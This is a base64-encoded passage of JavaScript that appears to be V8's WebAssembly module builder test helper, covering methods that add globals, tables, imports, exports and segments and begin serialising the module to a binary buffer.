Q29uc3QsIC4uLihuZXcgQXJyYXkoMTYpLmZpbGwoMCkpXTsKICAgICAgY2FzZSBrV2FzbVN0cmlu
Z1ZpZXdJdGVyOgogICAgICBjYXNlIGtXYXNtU3RyaW5nVmlld1d0Zjg6CiAgICAgIGNhc2Uga1dh
c21TdHJpbmdWaWV3V3RmMTY6CiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCJTdHJpbmcgdmlld3Mg
YXJlIG5vbi1kZWZhdWx0YWJsZSIpOwogICAgICBkZWZhdWx0OgogICAgICAgIGlmICgodHlwZW9m
IHR5cGUpICE9ICdudW1iZXInICYmIHR5cGUub3Bjb2RlICE9IGtXYXNtUmVmTnVsbCkgewogICAg
ICAgICAgdGhyb3cgbmV3IEVycm9yKCJOb24tZGVmYXVsdGFibGUgdHlwZSIpOwogICAgICAgIH0K
ICAgICAgICBsZXQgaGVhcF90eXBlID0gKHR5cGVvZiB0eXBlKSA9PSAnbnVtYmVyJyA/IHR5cGUg
OiB0eXBlLmhlYXBfdHlwZTsKICAgICAgICByZXR1cm4gW2tFeHByUmVmTnVsbCwgLi4ud2FzbVNp
Z25lZExlYihoZWFwX3R5cGUsIGtNYXhWYXJJbnQzMlNpemUpXTsKICAgIH0KICB9CgogIGFkZEds
b2JhbCh0eXBlLCBtdXRhYmxlLCBzaGFyZWQsIGluaXQpIHsKICAgIGlmIChpbml0ID09PSB1bmRl
ZmluZWQpIGluaXQgPSBXYXNtTW9kdWxlQnVpbGRlci5kZWZhdWx0Rm9yKHR5cGUpOwogICAgY2hl
Y2tFeHByKGluaXQpOwogICAgbGV0IGdsb2IgPSBuZXcgV2FzbUdsb2JhbEJ1aWxkZXIodGhpcywg
dHlwZSwgbXV0YWJsZSwgc2hhcmVkLCBpbml0KTsKICAgIGdsb2IuaW5kZXggPSB0aGlzLmdsb2Jh
bHMubGVuZ3RoICsgdGhpcy5udW1faW1wb3J0ZWRfZ2xvYmFsczsKICAgIHRoaXMuZ2xvYmFscy5w
dXNoKGdsb2IpOwogICAgcmV0dXJuIGdsb2I7CiAgfQoKICBhZGRUYWJsZSgKICAgICAgdHlwZSwg
aW5pdGlhbF9zaXplLCBtYXhfc2l6ZSA9IHVuZGVmaW5lZCwgaW5pdF9leHByID0gdW5kZWZpbmVk
LAogICAgICBpc19zaGFyZWQgPSBmYWxzZSwgaXNfdGFibGU2NCA9IGZhbHNlKSB7CiAgICBpZiAo
dHlwZSA9PSBrV2FzbUkzMiB8fCB0eXBlID09IGtXYXNtSTY0IHx8IHR5cGUgPT0ga1dhc21GMzIg
fHwKICAgICAgICB0eXBlID09IGtXYXNtRjY0IHx8IHR5cGUgPT0ga1dhc21TMTI4IHx8IHR5cGUg
PT0ga1dhc21Wb2lkKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcignVGFibGVzIG11c3QgYmUgb2Yg
YSByZWZlcmVuY2UgdHlwZScpOwogICAgfQogICAgaWYgKGluaXRfZXhwciAhPSB1bmRlZmluZWQp
IGNoZWNrRXhwcihpbml0X2V4cHIpOwogICAgbGV0IHRhYmxlID0gbmV3IFdhc21UYWJsZUJ1aWxk
ZXIoCiAgICAgICAgdGhpcywgdHlwZSwgaW5pdGlhbF9zaXplLCBtYXhfc2l6ZSwgaW5pdF9leHBy
LCBpc19zaGFyZWQsIGlzX3RhYmxlNjQpOwogICAgdGFibGUuaW5kZXggPSB0aGlzLnRhYmxlcy5s
ZW5ndGggKyB0aGlzLm51bV9pbXBvcnRlZF90YWJsZXM7CiAgICB0aGlzLnRhYmxlcy5wdXNoKHRh
YmxlKTsKICAgIHJldHVybiB0YWJsZTsKICB9CgogIGFkZFRhYmxlNjQoCiAgICAgIHR5cGUsIGlu
aXRpYWxfc2l6ZSwgbWF4X3NpemUgPSB1bmRlZmluZWQsIGluaXRfZXhwciA9IHVuZGVmaW5lZCwK
ICAgICAgaXNfc2hhcmVkID0gZmFsc2UpIHsKICAgIHJldHVybiB0aGlzLmFkZFRhYmxlKAogICAg
ICAgIHR5cGUsIGluaXRpYWxfc2l6ZSwgbWF4X3NpemUsIGluaXRfZXhwciwgaXNfc2hhcmVkLCB0
cnVlKTsKICB9CgogIGFkZFRhZyh0eXBlKSB7CiAgICBsZXQgdHlwZV9pbmRleCA9ICh0eXBlb2Yg
dHlwZSkgPT0gJ251bWJlcicgPyB0eXBlIDogdGhpcy5hZGRUeXBlKHR5cGUpOwogICAgbGV0IHRh
Z19pbmRleCA9IHRoaXMudGFncy5sZW5ndGggKyB0aGlzLm51bV9pbXBvcnRlZF90YWdzOwogICAg
dGhpcy50YWdzLnB1c2godHlwZV9pbmRleCk7CiAgICByZXR1cm4gdGFnX2luZGV4OwogIH0KCiAg
YWRkRnVuY3Rpb24obmFtZSwgdHlwZSwgYXJnX25hbWVzKSB7CiAgICBhcmdfbmFtZXMgPSBhcmdf
bmFtZXMgfHwgW107CiAgICBsZXQgdHlwZV9pbmRleCA9ICh0eXBlb2YgdHlwZSkgPT0gJ251bWJl
cicgPyB0eXBlIDogdGhpcy5hZGRUeXBlKHR5cGUpOwogICAgbGV0IG51bV9hcmdzID0gdGhpcy50
eXBlc1t0eXBlX2luZGV4XS5wYXJhbXMubGVuZ3RoOwogICAgaWYgKG51bV9hcmdzIDwgYXJnX25h
bWVzLmxlbmd0aCkKICAgICAgdGhyb3cgbmV3IEVycm9yKCd0b28gbWFueSBhcmcgbmFtZXMgcHJv
dmlkZWQnKTsKICAgIGlmIChudW1fYXJncyA+IGFyZ19uYW1lcy5sZW5ndGgpCiAgICAgIGFyZ19u
YW1lcy5wdXNoKG51bV9hcmdzIC0gYXJnX25hbWVzLmxlbmd0aCk7CiAgICBsZXQgZnVuYyA9IG5l
dyBXYXNtRnVuY3Rpb25CdWlsZGVyKHRoaXMsIG5hbWUsIHR5cGVfaW5kZXgsIGFyZ19uYW1lcyk7
CiAgICBmdW5jLmluZGV4ID0gdGhpcy5mdW5jdGlvbnMubGVuZ3RoICsgdGhpcy5udW1faW1wb3J0
ZWRfZnVuY3M7CiAgICB0aGlzLmZ1bmN0aW9ucy5wdXNoKGZ1bmMpOwogICAgcmV0dXJuIGZ1bmM7
CiAgfQoKICBhZGRJbXBvcnQobW9kdWxlLCBuYW1lLCB0eXBlKSB7CiAgICBpZiAodGhpcy5mdW5j
dGlvbnMubGVuZ3RoICE9IDApIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdJbXBvcnRlZCBmdW5j
dGlvbnMgbXVzdCBiZSBkZWNsYXJlZCBiZWZvcmUgbG9jYWwgb25lcycpOwogICAgfQogICAgbGV0
IHR5cGVfaW5kZXggPSAodHlwZW9mIHR5cGUpID09ICdudW1iZXInID8gdHlwZSA6IHRoaXMuYWRk
VHlwZSh0eXBlKTsKICAgIHRoaXMuaW1wb3J0cy5wdXNoKHsKICAgICAgbW9kdWxlOiBtb2R1bGUs
CiAgICAgIG5hbWU6IG5hbWUsCiAgICAgIGtpbmQ6IGtFeHRlcm5hbEZ1bmN0aW9uLAogICAgICB0
eXBlX2luZGV4OiB0eXBlX2luZGV4CiAgICB9KTsKICAgIHJldHVybiB0aGlzLm51bV9pbXBvcnRl
ZF9mdW5jcysrOwogIH0KCiAgYWRkSW1wb3J0ZWRHbG9iYWwobW9kdWxlLCBuYW1lLCB0eXBlLCBt
dXRhYmxlID0gZmFsc2UsIHNoYXJlZCA9IGZhbHNlKSB7CiAgICBpZiAodGhpcy5nbG9iYWxzLmxl
bmd0aCAhPSAwKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcignSW1wb3J0ZWQgZ2xvYmFscyBtdXN0
IGJlIGRlY2xhcmVkIGJlZm9yZSBsb2NhbCBvbmVzJyk7CiAgICB9CiAgICBsZXQgbyA9IHsKICAg
ICAgbW9kdWxlOiBtb2R1bGUsCiAgICAgIG5hbWU6IG5hbWUsCiAgICAgIGtpbmQ6IGtFeHRlcm5h
bEdsb2JhbCwKICAgICAgdHlwZTogdHlwZSwKICAgICAgbXV0YWJsZTogbXV0YWJsZSwKICAgICAg
c2hhcmVkOiBzaGFyZWQKICAgIH07CiAgICB0aGlzLmltcG9ydHMucHVzaChvKTsKICAgIHJldHVy
biB0aGlzLm51bV9pbXBvcnRlZF9nbG9iYWxzKys7CiAgfQoKICBhZGRJbXBvcnRlZE1lbW9yeSht
b2R1bGUsIG5hbWUsIGluaXRpYWwgPSAwLCBtYXhpbXVtLCBzaGFyZWQsIGlzX21lbW9yeTY0KSB7
CiAgICBpZiAodGhpcy5tZW1vcmllcy5sZW5ndGggIT09IDApIHsKICAgICAgdGhyb3cgbmV3IEVy
cm9yKAogICAgICAgICAgJ0FkZCBpbXBvcnRlZCBtZW1vcmllcyBiZWZvcmUgZGVjbGFyZWQgbWVt
b3JpZXMgdG8gYXZvaWQgbWVzc2luZyAnICsKICAgICAgICAgICd1cCB0aGUgaW5kZXhlcycpOwog
ICAgfQogICAgbGV0IG1lbV9pbmRleCA9IHRoaXMuaW1wb3J0cy5maWx0ZXIoaSA9PiBpLmtpbmQg
PT0ga0V4dGVybmFsTWVtb3J5KS5sZW5ndGg7CiAgICBsZXQgbyA9IHsKICAgICAgbW9kdWxlOiBt
b2R1bGUsCiAgICAgIG5hbWU6IG5hbWUsCiAgICAgIGtpbmQ6IGtFeHRlcm5hbE1lbW9yeSwKICAg
ICAgaW5pdGlhbDogaW5pdGlhbCwKICAgICAgbWF4aW11bTogbWF4aW11bSwKICAgICAgc2hhcmVk
OiAhIXNoYXJlZCwKICAgICAgaXNfbWVtb3J5NjQ6ICEhaXNfbWVtb3J5NjQKICAgIH07CiAgICB0
aGlzLmltcG9ydHMucHVzaChvKTsKICAgIHJldHVybiBtZW1faW5kZXg7CiAgfQoKICBhZGRJbXBv
cnRlZFRhYmxlKAogICAgICBtb2R1bGUsIG5hbWUsIGluaXRpYWwsIG1heGltdW0sIHR5cGUgPSBr
V2FzbUZ1bmNSZWYsIGlzX3RhYmxlNjQgPSBmYWxzZSkgewogICAgaWYgKHRoaXMudGFibGVzLmxl
bmd0aCAhPSAwKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcignSW1wb3J0ZWQgdGFibGVzIG11c3Qg
YmUgZGVjbGFyZWQgYmVmb3JlIGxvY2FsIG9uZXMnKTsKICAgIH0KICAgIGxldCBvID0gewogICAg
ICBtb2R1bGU6IG1vZHVsZSwKICAgICAgbmFtZTogbmFtZSwKICAgICAga2luZDoga0V4dGVybmFs
VGFibGUsCiAgICAgIGluaXRpYWw6IGluaXRpYWwsCiAgICAgIG1heGltdW06IG1heGltdW0sCiAg
ICAgIHR5cGU6IHR5cGUsCiAgICAgIGlzX3RhYmxlNjQ6ICEhaXNfdGFibGU2NAogICAgfTsKICAg
IHRoaXMuaW1wb3J0cy5wdXNoKG8pOwogICAgcmV0dXJuIHRoaXMubnVtX2ltcG9ydGVkX3RhYmxl
cysrOwogIH0KCiAgYWRkSW1wb3J0ZWRUYWcobW9kdWxlLCBuYW1lLCB0eXBlKSB7CiAgICBpZiAo
dGhpcy50YWdzLmxlbmd0aCAhPSAwKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcignSW1wb3J0ZWQg
dGFncyBtdXN0IGJlIGRlY2xhcmVkIGJlZm9yZSBsb2NhbCBvbmVzJyk7CiAgICB9CiAgICBsZXQg
dHlwZV9pbmRleCA9ICh0eXBlb2YgdHlwZSkgPT0gJ251bWJlcicgPyB0eXBlIDogdGhpcy5hZGRU
eXBlKHR5cGUpOwogICAgbGV0IG8gPSB7CiAgICAgIG1vZHVsZTogbW9kdWxlLAogICAgICBuYW1l
OiBuYW1lLAogICAgICBraW5kOiBrRXh0ZXJuYWxUYWcsCiAgICAgIHR5cGVfaW5kZXg6IHR5cGVf
aW5kZXgKICAgIH07CiAgICB0aGlzLmltcG9ydHMucHVzaChvKTsKICAgIHJldHVybiB0aGlzLm51
bV9pbXBvcnRlZF90YWdzKys7CiAgfQoKICBhZGRFeHBvcnQobmFtZSwgaW5kZXgpIHsKICAgIHRo
aXMuZXhwb3J0cy5wdXNoKHtuYW1lOiBuYW1lLCBraW5kOiBrRXh0ZXJuYWxGdW5jdGlvbiwgaW5k
ZXg6IGluZGV4fSk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIGFkZEV4cG9ydE9mS2luZChuYW1l
LCBraW5kLCBpbmRleCkgewogICAgaWYgKGluZGV4ID09PSB1bmRlZmluZWQgJiYga2luZCAhPSBr
RXh0ZXJuYWxUYWJsZSAmJgogICAgICAgIGtpbmQgIT0ga0V4dGVybmFsTWVtb3J5KSB7CiAgICAg
IHRocm93IG5ldyBFcnJvcigKICAgICAgICAgICdJbmRleCBmb3IgZXhwb3J0cyBvdGhlciB0aGFu
IHRhYmxlcy9tZW1vcmllcyBtdXN0IGJlIHByb3ZpZGVkJyk7CiAgICB9CiAgICBpZiAoaW5kZXgg
IT09IHVuZGVmaW5lZCAmJiAodHlwZW9mIGluZGV4KSAhPSAnbnVtYmVyJykgewogICAgICB0aHJv
dyBuZXcgRXJyb3IoJ0luZGV4IGZvciBleHBvcnRzIG11c3QgYmUgYSBudW1iZXInKQogICAgfQog
ICAgdGhpcy5leHBvcnRzLnB1c2goe25hbWU6IG5hbWUsIGtpbmQ6IGtpbmQsIGluZGV4OiBpbmRl
eH0pOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICBzZXRDb21waWxhdGlvbkhpbnQoc3RyYXRlZ3ks
IGJhc2VsaW5lVGllciwgdG9wVGllciwgaW5kZXgpIHsKICAgIHRoaXMuY29tcGlsYXRpb25faGlu
dHNbaW5kZXhdID0gewogICAgICBzdHJhdGVneTogc3RyYXRlZ3ksCiAgICAgIGJhc2VsaW5lVGll
cjogYmFzZWxpbmVUaWVyLAogICAgICB0b3BUaWVyOiB0b3BUaWVyCiAgICB9OwogICAgcmV0dXJu
IHRoaXM7CiAgfQoKICBhZGRBY3RpdmVEYXRhU2VnbWVudChtZW1vcnlfaW5kZXgsIG9mZnNldCwg
ZGF0YSwgaXNfc2hhcmVkID0gZmFsc2UpIHsKICAgIGNoZWNrRXhwcihvZmZzZXQpOwogICAgdGhp
cy5kYXRhX3NlZ21lbnRzLnB1c2goewogICAgICBpc19hY3RpdmU6IHRydWUsCiAgICAgIGlzX3No
YXJlZDogaXNfc2hhcmVkLAogICAgICBtZW1faW5kZXg6IG1lbW9yeV9pbmRleCwKICAgICAgb2Zm
c2V0OiBvZmZzZXQsCiAgICAgIGRhdGE6IGRhdGEKICAgIH0pOwogICAgcmV0dXJuIHRoaXMuZGF0
YV9zZWdtZW50cy5sZW5ndGggLSAxOwogIH0KCiAgYWRkUGFzc2l2ZURhdGFTZWdtZW50KGRhdGEs
IGlzX3NoYXJlZCA9IGZhbHNlKSB7CiAgICB0aGlzLmRhdGFfc2VnbWVudHMucHVzaCh7CiAgICAg
IGlzX2FjdGl2ZTogZmFsc2UsIGlzX3NoYXJlZDogaXNfc2hhcmVkLCBkYXRhOiBkYXRhfSk7CiAg
ICByZXR1cm4gdGhpcy5kYXRhX3NlZ21lbnRzLmxlbmd0aCAtIDE7CiAgfQoKICBleHBvcnRNZW1v
cnlBcyhuYW1lLCBtZW1vcnlfaW5kZXgpIHsKICAgIGlmIChtZW1vcnlfaW5kZXggPT09IHVuZGVm
aW5lZCkgewogICAgICBjb25zdCBudW1fbWVtb3JpZXMgPSB0aGlzLm1lbW9yaWVzLmxlbmd0aCAr
CiAgICAgICAgICB0aGlzLmltcG9ydHMuZmlsdGVyKGkgPT4gaS5raW5kID09IGtFeHRlcm5hbE1l
bW9yeSkubGVuZ3RoOwogICAgICBpZiAobnVtX21lbW9yaWVzICE9PSAxKSB7CiAgICAgICAgdGhy
b3cgbmV3IEVycm9yKAogICAgICAgICAgICAnUGFzcyBtZW1vcnkgaW5kZXggdG8gXCdleHBvcnRN
ZW1vcnlBc1wnIGlmIHRoZXJlIGlzIG5vdCBleGFjdGx5ICcgKwogICAgICAgICAgICAnb25lIG1l
bW9yeSBpbXBvcnRlZCBvciBkZWNsYXJlZC4nKTsKICAgICAgfQogICAgICBtZW1vcnlfaW5kZXgg
PSAwOwogICAgfQogICAgdGhpcy5leHBvcnRzLnB1c2goe25hbWU6IG5hbWUsIGtpbmQ6IGtFeHRl
cm5hbE1lbW9yeSwgaW5kZXg6IG1lbW9yeV9pbmRleH0pOwogIH0KCiAgLy8ge29mZnNldH0gaXMg
YSBjb25zdGFudCBleHByZXNzaW9uLgogIC8vIElmIHt0eXBlfSBpcyB1bmRlZmluZWQsIHRoZW4g
e2VsZW1lbnRzfSBhcmUgZnVuY3Rpb24gaW5kaWNlcy4gT3RoZXJ3aXNlLAogIC8vIHRoZXkgYXJl
IGNvbnN0YW50IGV4cHJlc3Npb25zLgogIGFkZEFjdGl2ZUVsZW1lbnRTZWdtZW50KHRhYmxlLCBv
ZmZzZXQsIGVsZW1lbnRzLCB0eXBlLCBpc19zaGFyZWQgPSBmYWxzZSkgewogICAgY2hlY2tFeHBy
KG9mZnNldCk7CiAgICBpZiAodHlwZSAhPSB1bmRlZmluZWQpIHsKICAgICAgZm9yIChsZXQgZWxl
bWVudCBvZiBlbGVtZW50cykgY2hlY2tFeHByKGVsZW1lbnQpOwogICAgfQogICAgdGhpcy5lbGVt
ZW50X3NlZ21lbnRzLnB1c2goCiAgICAgICAgbmV3IFdhc21FbGVtU2VnbWVudCh0YWJsZSwgb2Zm
c2V0LCB0eXBlLCBlbGVtZW50cywgZmFsc2UsIGlzX3NoYXJlZCkpOwogICAgcmV0dXJuIHRoaXMu
ZWxlbWVudF9zZWdtZW50cy5sZW5ndGggLSAxOwogIH0KCiAgLy8gSWYge3R5cGV9IGlzIHVuZGVm
aW5lZCwgdGhlbiB7ZWxlbWVudHN9IGFyZSBmdW5jdGlvbiBpbmRpY2VzLiBPdGhlcndpc2UsCiAg
Ly8gdGhleSBhcmUgY29uc3RhbnQgZXhwcmVzc2lvbnMuCiAgYWRkUGFzc2l2ZUVsZW1lbnRTZWdt
ZW50KGVsZW1lbnRzLCB0eXBlLCBpc19zaGFyZWQgPSBmYWxzZSkgewogICAgaWYgKHR5cGUgIT0g
dW5kZWZpbmVkKSB7CiAgICAgIGZvciAobGV0IGVsZW1lbnQgb2YgZWxlbWVudHMpIGNoZWNrRXhw
cihlbGVtZW50KTsKICAgIH0KICAgIHRoaXMuZWxlbWVudF9zZWdtZW50cy5wdXNoKG5ldyBXYXNt
RWxlbVNlZ21lbnQoCiAgICAgIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCB0eXBlLCBlbGVtZW50cywg
ZmFsc2UsIGlzX3NoYXJlZCkpOwogICAgcmV0dXJuIHRoaXMuZWxlbWVudF9zZWdtZW50cy5sZW5n
dGggLSAxOwogIH0KCiAgLy8gSWYge3R5cGV9IGlzIHVuZGVmaW5lZCwgdGhlbiB7ZWxlbWVudHN9
IGFyZSBmdW5jdGlvbiBpbmRpY2VzLiBPdGhlcndpc2UsCiAgLy8gdGhleSBhcmUgY29uc3RhbnQg
ZXhwcmVzc2lvbnMuCiAgYWRkRGVjbGFyYXRpdmVFbGVtZW50U2VnbWVudChlbGVtZW50cywgdHlw
ZSwgaXNfc2hhcmVkID0gZmFsc2UpIHsKICAgIGlmICh0eXBlICE9IHVuZGVmaW5lZCkgewogICAg
ICBmb3IgKGxldCBlbGVtZW50IG9mIGVsZW1lbnRzKSBjaGVja0V4cHIoZWxlbWVudCk7CiAgICB9
CiAgICB0aGlzLmVsZW1lbnRfc2VnbWVudHMucHVzaChuZXcgV2FzbUVsZW1TZWdtZW50KAogICAg
ICB1bmRlZmluZWQsIHVuZGVmaW5lZCwgdHlwZSwgZWxlbWVudHMsIHRydWUsIGlzX3NoYXJlZCkp
OwogICAgcmV0dXJuIHRoaXMuZWxlbWVudF9zZWdtZW50cy5sZW5ndGggLSAxOwogIH0KCiAgYXBw
ZW5kVG9UYWJsZShhcnJheSkgewogICAgZm9yIChsZXQgbiBvZiBhcnJheSkgewogICAgICBpZiAo
dHlwZW9mIG4gIT0gJ251bWJlcicpCiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdpbnZhbGlkIHRh
YmxlIChlbnRyaWVzIGhhdmUgdG8gYmUgbnVtYmVycyk6ICcgKyBhcnJheSk7CiAgICB9CiAgICBp
ZiAodGhpcy50YWJsZXMubGVuZ3RoID09IDApIHsKICAgICAgdGhpcy5hZGRUYWJsZShrV2FzbUFu
eUZ1bmMsIDApOwogICAgfQogICAgLy8gQWRqdXN0IHRoZSB0YWJsZSB0byB0aGUgY29ycmVjdCBz
aXplLgogICAgbGV0IHRhYmxlID0gdGhpcy50YWJsZXNbMF07CiAgICBjb25zdCBiYXNlID0gdGFi
bGUuaW5pdGlhbF9zaXplOwogICAgY29uc3QgdGFibGVfc2l6ZSA9IGJhc2UgKyBhcnJheS5sZW5n
dGg7CiAgICB0YWJsZS5pbml0aWFsX3NpemUgPSB0YWJsZV9zaXplOwogICAgaWYgKHRhYmxlLmhh
c19tYXggJiYgdGFibGVfc2l6ZSA+IHRhYmxlLm1heF9zaXplKSB7CiAgICAgIHRhYmxlLm1heF9z
aXplID0gdGFibGVfc2l6ZTsKICAgIH0KICAgIHJldHVybiB0aGlzLmFkZEFjdGl2ZUVsZW1lbnRT
ZWdtZW50KDAsIHdhc21JMzJDb25zdChiYXNlKSwgYXJyYXkpOwogIH0KCiAgc2V0VGFibGVCb3Vu
ZHMobWluLCBtYXggPSB1bmRlZmluZWQpIHsKICAgIGlmICh0aGlzLnRhYmxlcy5sZW5ndGggIT0g
MCkgewogICAgICB0aHJvdyBuZXcgRXJyb3IoJ1RoZSB0YWJsZSBib3VuZHMgb2YgdGFibGUgXCcw
XCcgaGF2ZSBhbHJlYWR5IGJlZW4gc2V0LicpOwogICAgfQogICAgdGhpcy5hZGRUYWJsZShrV2Fz
bUFueUZ1bmMsIG1pbiwgbWF4KTsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgc3RhcnRSZWNHcm91
cCgpIHsKICAgIHRoaXMucmVjX2dyb3Vwcy5wdXNoKHtzdGFydDogdGhpcy50eXBlcy5sZW5ndGgs
IHNpemU6IDB9KTsKICB9CgogIGVuZFJlY0dyb3VwKCkgewogICAgaWYgKHRoaXMucmVjX2dyb3Vw
cy5sZW5ndGggPT0gMCkgewogICAgICB0aHJvdyBuZXcgRXJyb3IoIkRpZCBub3Qgc3RhcnQgYSBy
ZWN1cnNpdmUgZ3JvdXAgYmVmb3JlIGVuZGluZyBvbmUiKQogICAgfQogICAgbGV0IGxhc3RfZWxl
bWVudCA9IHRoaXMucmVjX2dyb3Vwc1t0aGlzLnJlY19ncm91cHMubGVuZ3RoIC0gMV0KICAgIGlm
IChsYXN0X2VsZW1lbnQuc2l6ZSAhPSAwKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcigiRGlkIG5v
dCBzdGFydCBhIHJlY3Vyc2l2ZSBncm91cCBiZWZvcmUgZW5kaW5nIG9uZSIpCiAgICB9CiAgICBs
YXN0X2VsZW1lbnQuc2l6ZSA9IHRoaXMudHlwZXMubGVuZ3RoIC0gbGFzdF9lbGVtZW50LnN0YXJ0
OwogIH0KCiAgc2V0TmFtZShuYW1lKSB7CiAgICB0aGlzLm5hbWUgPSBuYW1lOwogICAgcmV0dXJu
IHRoaXM7CiAgfQoKICB0b0J1ZmZlcihkZWJ1ZyA9IGZhbHNlKSB7CiAgICBsZXQgYmluYXJ5ID0g
bmV3IEJpbmFyeTsKICAgIGxldCB3YXNtID0gdGhpczsKCiAgICAvLyBBZGQgaGVhZGVyLgogICAg
YmluYXJ5LmVtaXRfaGVhZGVyKCk7CgogICAgLy8gQWRkIHR5cGUgc2VjdGlvbi4KICAgIGlmICh3
YXNtLnR5cGVzLmxlbmd0aCA+IDApIHsKICAgICAgaWYgKGRlYnVnKSBwcmludCgnZW1pdHRpbmcg
dHlwZXMgQCAnICsgYmluYXJ5Lmxlbmd0aCk7CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24oa1R5
cGVTZWN0aW9uQ29kZSwgc2VjdGlvbiA9PiB7CiAgICAgICAgbGV0IGxlbmd0aF93aXRoX2dyb3Vw
cyA9IHdhc20udHlwZXMubGVuZ3RoOwogICAgICAgIGZvciAobGV0IGdyb3VwIG9mIHdhc20ucmVj
X2dyb3VwcykgewogICAgICAgICAgbGVuZ3RoX3dpdGhfZ3JvdXBzIC09IGdyb3VwLnNpemUgLSAx
OwogICAgICAgIH0KICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihsZW5ndGhfd2l0aF9ncm91cHMp
OwoKICAgICAgICBsZXQgcmVjX2dyb3VwX2luZGV4ID0gMDsKCiAgICAgICAgZm9yIChsZXQgaSA9
IDA7IGkgPCB3YXNtLnR5cGVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICBpZiAocmVjX2dyb3Vw
X2luZGV4IDwgd2FzbS5yZWNfZ3JvdXBzLmxlbmd0aCAmJgogICAgICAgICAgICAgIHdhc20ucmVj
X2dyb3Vwc1tyZWNfZ3JvdXBfaW5kZXhdLnN0YXJ0ID09IGkpIHsKICAgICAgICAgICAgc2VjdGlv
bi5lbWl0X3U4KGtXYXNtUmVjdXJzaXZlVHlwZUdyb3VwRm9ybSk7CiAgICAgICAgICAgIHNlY3Rp
b24uZW1pdF91MzJ2KHdhc20ucmVjX2dyb3Vwc1tyZWNfZ3JvdXBfaW5kZXhdLnNpemUpOwogICAg
ICAgICAgICByZWNfZ3JvdXBfaW5kZXgrKzsKICAgICAgICAgIH0KCiAgICAgICAgICBsZXQgdHlw
ZSA9IHdhc20udHlwZXNbaV07CiAgICAgICAgICBpZiAodHlwZS5zdXBlcnR5cGUgIT0ga05vU3Vw
ZXJUeXBlKSB7CiAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91OCh0eXBlLmlzX2ZpbmFsID8ga1dh
c21TdWJ0eXBlRmluYWxGb3JtCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIDoga1dhc21TdWJ0eXBlRm9ybSk7CiAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91OCgxKTsg
IC8vIHN1cGVydHlwZSBjb3VudAogICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydih0eXBlLnN1
cGVydHlwZSk7CiAgICAgICAgICB9IGVsc2UgaWYgKCF0eXBlLmlzX2ZpbmFsKSB7CiAgICAgICAg
ICAgIHNlY3Rpb24uZW1pdF91OChrV2FzbVN1YnR5cGVGb3JtKTsKICAgICAgICAgICAgc2VjdGlv
bi5lbWl0X3U4KDApOyAgLy8gbm8gc3VwZXJ0eXBlcwogICAgICAgICAgfQogICAgICAgICAgaWYg
KHR5cGUuaXNfc2hhcmVkKSBzZWN0aW9uLmVtaXRfdTgoa1dhc21TaGFyZWRUeXBlRm9ybSk7CiAg
ICAgICAgICBpZiAodHlwZSBpbnN0YW5jZW9mIFdhc21TdHJ1Y3QpIHsKICAgICAgICAgICAgc2Vj
dGlvbi5lbWl0X3U4KGtXYXNtU3RydWN0VHlwZUZvcm0pOwogICAgICAgICAgICBzZWN0aW9uLmVt
aXRfdTMydih0eXBlLmZpZWxkcy5sZW5ndGgpOwogICAgICAgICAgICBmb3IgKGxldCBmaWVsZCBv
ZiB0eXBlLmZpZWxkcykgewogICAgICAgICAgICAgIHNlY3Rpb24uZW1pdF90eXBlKGZpZWxkLnR5
cGUpOwogICAgICAgICAgICAgIHNlY3Rpb24uZW1pdF91OChmaWVsZC5tdXRhYmlsaXR5ID8gMSA6
IDApOwogICAgICAgICAgICB9CiAgICAgICAgICB9IGVsc2UgaWYgKHR5cGUgaW5zdGFuY2VvZiBX
YXNtQXJyYXkpIHsKICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KGtXYXNtQXJyYXlUeXBlRm9y
bSk7CiAgICAgICAgICAgIHNlY3Rpb24uZW1pdF90eXBlKHR5cGUudHlwZSk7CiAgICAgICAgICAg
IHNlY3Rpb24uZW1pdF91OCh0eXBlLm11dGFiaWxpdHkgPyAxIDogMCk7CiAgICAgICAgICB9IGVs
c2UgewogICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgoa1dhc21GdW5jdGlvblR5cGVGb3JtKTsK
ICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYodHlwZS5wYXJhbXMubGVuZ3RoKTsKICAgICAg
ICAgICAgZm9yIChsZXQgcGFyYW0gb2YgdHlwZS5wYXJhbXMpIHsKICAgICAgICAgICAgICBzZWN0
aW9uLmVtaXRfdHlwZShwYXJhbSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc2VjdGlvbi5l
bWl0X3UzMnYodHlwZS5yZXN1bHRzLmxlbmd0aCk7CiAgICAgICAgICAgIGZvciAobGV0IHJlc3Vs
dCBvZiB0eXBlLnJlc3VsdHMpIHsKICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfdHlwZShyZXN1
bHQpOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9KTsKICAgIH0K
CiAgICAvLyBBZGQgaW1wb3J0cyBzZWN0aW9uLgogICAgaWYgKHdhc20uaW1wb3J0cy5sZW5ndGgg
PiAwKSB7CiAgICAgIGlmIChkZWJ1ZykgcHJpbnQoJ2VtaXR0aW5nIGltcG9ydHMgQCAnICsgYmlu
YXJ5Lmxlbmd0aCk7CiAgICAgIGJpbmFyeS5lbWl0X3NlY3Rpb24oa0ltcG9ydFNlY3Rpb25Db2Rl
LCBzZWN0aW9uID0+IHsKICAgICAgICBzZWN0aW9uLmVtaXRfdTMydih3YXNtLmltcG9ydHMubGVu
